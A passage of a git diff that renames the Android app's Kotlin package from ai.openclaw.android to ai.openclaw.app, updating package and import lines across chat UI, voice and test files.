ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileSurface +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileTextTertiary @Composable fun ChatComposer( @@ -148,7 +148,7 @@ fun ChatComposer( Text( text = "Gateway is offline. Connect first in the Connect tab.", style = mobileCallout, - color = ai.openclaw.android.ui.mobileWarning, + color = ai.openclaw.app.ui.mobileWarning, ) } @@ -346,7 +346,7 @@ private fun chatTextFieldColors() = @Composable private fun mobileBodyStyle() = MaterialTheme.typography.bodyMedium.copy( - fontFamily = ai.openclaw.android.ui.mobileFontFamily, + fontFamily = ai.openclaw.app.ui.mobileFontFamily, fontWeight = FontWeight.Medium, fontSize = 15.sp, lineHeight = 22.sp, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt index 6b5fd6d8dbd..a8f932d8607 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMarkdown.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMarkdown.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.Image import androidx.compose.foundation.background @@ -34,12 +34,12 @@ import androidx.compose.ui.text.style.TextDecoration import androidx.compose.ui.text.withStyle import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCodeBg -import ai.openclaw.android.ui.mobileCodeText -import ai.openclaw.android.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCodeBg +import ai.openclaw.app.ui.mobileCodeText +import ai.openclaw.app.ui.mobileTextSecondary import org.commonmark.Extension import org.commonmark.ext.autolink.AutolinkExtension import org.commonmark.ext.gfm.strikethrough.Strikethrough diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt similarity index 90% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt index 889de006cb4..0c34ff0d763 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageListCard.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageListCard.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.Box @@ -15,13 +15,13 @@ import androidx.compose.runtime.LaunchedEffect import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.unit.dp -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary @Composable fun ChatMessageListCard( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt similarity index 90% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt index 9ba5540f2d9..9d08352a3f0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatMessageViews.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatMessageViews.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import androidx.compose.foundation.BorderStroke import androidx.compose.foundation.Image @@ -25,24 +25,24 @@ import androidx.compose.ui.text.font.FontFamily import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatMessageContent -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.tools.ToolDisplayRegistry -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileAccentSoft -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCaption2 -import ai.openclaw.android.ui.mobileCodeBg -import ai.openclaw.android.ui.mobileCodeText -import ai.openclaw.android.ui.mobileHeadline -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileWarning -import ai.openclaw.android.ui.mobileWarningSoft +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatMessageContent +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.tools.ToolDisplayRegistry +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileAccentSoft +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCaption2 +import ai.openclaw.app.ui.mobileCodeBg +import ai.openclaw.app.ui.mobileCodeText +import ai.openclaw.app.ui.mobileHeadline +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileWarning +import ai.openclaw.app.ui.mobileWarningSoft import java.util.Locale private data class ChatBubbleStyle( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt index 12e13ab365a..2c09f4488b0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/ChatSheetContent.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/ChatSheetContent.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat import android.content.ContentResolver import android.net.Uri @@ -32,22 +32,22 @@ import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.text.style.TextOverflow import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp -import ai.openclaw.android.MainViewModel -import ai.openclaw.android.chat.ChatSessionEntry -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.ui.mobileAccent -import ai.openclaw.android.ui.mobileBorder -import ai.openclaw.android.ui.mobileBorderStrong -import ai.openclaw.android.ui.mobileCallout -import ai.openclaw.android.ui.mobileCaption1 -import ai.openclaw.android.ui.mobileCaption2 -import ai.openclaw.android.ui.mobileDanger -import ai.openclaw.android.ui.mobileSuccess -import ai.openclaw.android.ui.mobileSuccessSoft -import ai.openclaw.android.ui.mobileText -import ai.openclaw.android.ui.mobileTextSecondary -import ai.openclaw.android.ui.mobileWarning -import ai.openclaw.android.ui.mobileWarningSoft +import ai.openclaw.app.MainViewModel +import ai.openclaw.app.chat.ChatSessionEntry +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.ui.mobileAccent +import ai.openclaw.app.ui.mobileBorder +import ai.openclaw.app.ui.mobileBorderStrong +import ai.openclaw.app.ui.mobileCallout +import ai.openclaw.app.ui.mobileCaption1 +import ai.openclaw.app.ui.mobileCaption2 +import ai.openclaw.app.ui.mobileDanger +import ai.openclaw.app.ui.mobileSuccess +import ai.openclaw.app.ui.mobileSuccessSoft +import ai.openclaw.app.ui.mobileText +import ai.openclaw.app.ui.mobileTextSecondary +import ai.openclaw.app.ui.mobileWarning +import ai.openclaw.app.ui.mobileWarningSoft import java.io.ByteArrayOutputStream import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt index 68f3f409960..2f496bcb6cd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ui/chat/SessionFilters.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ui/chat/SessionFilters.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat -import ai.openclaw.android.chat.ChatSessionEntry +import ai.openclaw.app.chat.ChatSessionEntry private const val RECENT_WINDOW_MS = 24 * 60 * 60 * 1000L diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt index 0cbe669409b..ff13cf73911 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/ElevenLabsStreamingTts.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/ElevenLabsStreamingTts.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.media.AudioAttributes import android.media.AudioFormat diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt index 099c7c1cd1e..39bacbeca5b 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/MicCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/MicCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.Manifest import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt index 329707ad56a..90bbd81b8bd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/StreamingMediaDataSource.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/StreamingMediaDataSource.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.media.MediaDataSource import kotlin.math.min diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt index 5c80cc1f4f1..cd3770cf8c8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkDirectiveParser.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkDirectiveParser.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt index 3b20b4f5429..b1fe774a80b 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/TalkModeManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/TalkModeManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.Manifest import android.content.Context @@ -21,9 +21,9 @@ import android.speech.tts.TextToSpeech import android.speech.tts.UtteranceProgressListener import android.util.Log import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.isCanonicalMainSessionKey -import ai.openclaw.android.normalizeMainKey +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.isCanonicalMainSessionKey +import ai.openclaw.app.normalizeMainKey import java.io.File import java.net.HttpURLConnection import java.net.URL diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt index dccd3950c90..efa9be0547c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeCommandExtractor.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeCommandExtractor.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice object VoiceWakeCommandExtractor { fun extractCommand(text: String, triggerWords: List): String? { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt index 334f985a028..a6395429a82 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/voice/VoiceWakeManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/voice/VoiceWakeManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import android.content.Context import android.content.Intent diff --git a/apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt index 7a81936ecd2..fddc347f487 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/NodeForegroundServiceTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/NodeForegroundServiceTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Notification import android.content.Intent diff --git a/apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt index 55730e2f5ab..2e255e1598d 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/WakeWordsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/WakeWordsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt similarity index 93% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt index fe00e50a72d..f0db7f05b87 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/BonjourEscapesTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/BonjourEscapesTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt similarity index 96% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt index 95e145fb11f..4f7e7eab978 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/DeviceAuthPayloadTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/DeviceAuthPayloadTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt index 03930ee2a8b..a3f301498c8 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import kotlinx.coroutines.CompletableDeferred import kotlinx.coroutines.CoroutineScope diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt index cd08715c405..043d029d367 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/GatewaySessionInvokeTimeoutTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/GatewaySessionInvokeTimeoutTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt index ca8e8f21424..f30cd27ed5c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/gateway/InvokeErrorParserTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/gateway/InvokeErrorParserTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt index 743ed92c6d5..6c1ed9fb8b3 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/AppUpdateHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/AppUpdateHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import java.io.File import org.junit.Assert.assertEquals diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt index ca236da7d46..61d9859b36c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CalendarHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CalendarHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt index 470f925a7d4..5a60562b421 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CameraHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CameraHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt index dd1b9d5d19a..f1e204482ce 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/CanvasControllerSnapshotParamsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/CanvasControllerSnapshotParamsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt index 534b90a2121..62753f6b391 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/ConnectionManagerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/ConnectionManagerTest.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewayEndpoint import org.junit.Assert.assertEquals import org.junit.Assert.assertNull import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt index 39242dc9f82..09becee4b7f 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/ContactsHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/ContactsHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt index 6232b0c9e11..5574baf6e14 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/DeviceHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/DeviceHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt similarity index 87% rename from apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt index 0b8548ab215..58c89f1cd52 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/InvokeCommandRegistryTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/InvokeCommandRegistryTest.kt @@ -1,16 +1,16 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawCapability -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawPhotosCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawCapability +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawPhotosCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand import org.junit.Assert.assertFalse import org.junit.Assert.assertTrue import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt index 5de1dd5451a..8ede18ed8d9 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/JpegSizeLimiterTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/JpegSizeLimiterTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertTrue diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt index c7eff170a0c..c6fad294871 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/MotionHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/MotionHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.coroutines.test.runTest diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt similarity index 90% rename from apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt index 8138c7039fd..d89a9b188bb 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/NodeHandlerRobolectricTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/NodeHandlerRobolectricTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import org.junit.runner.RunWith diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt similarity index 99% rename from apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt index 26869cad9ee..dc609bff47f 100644 --- 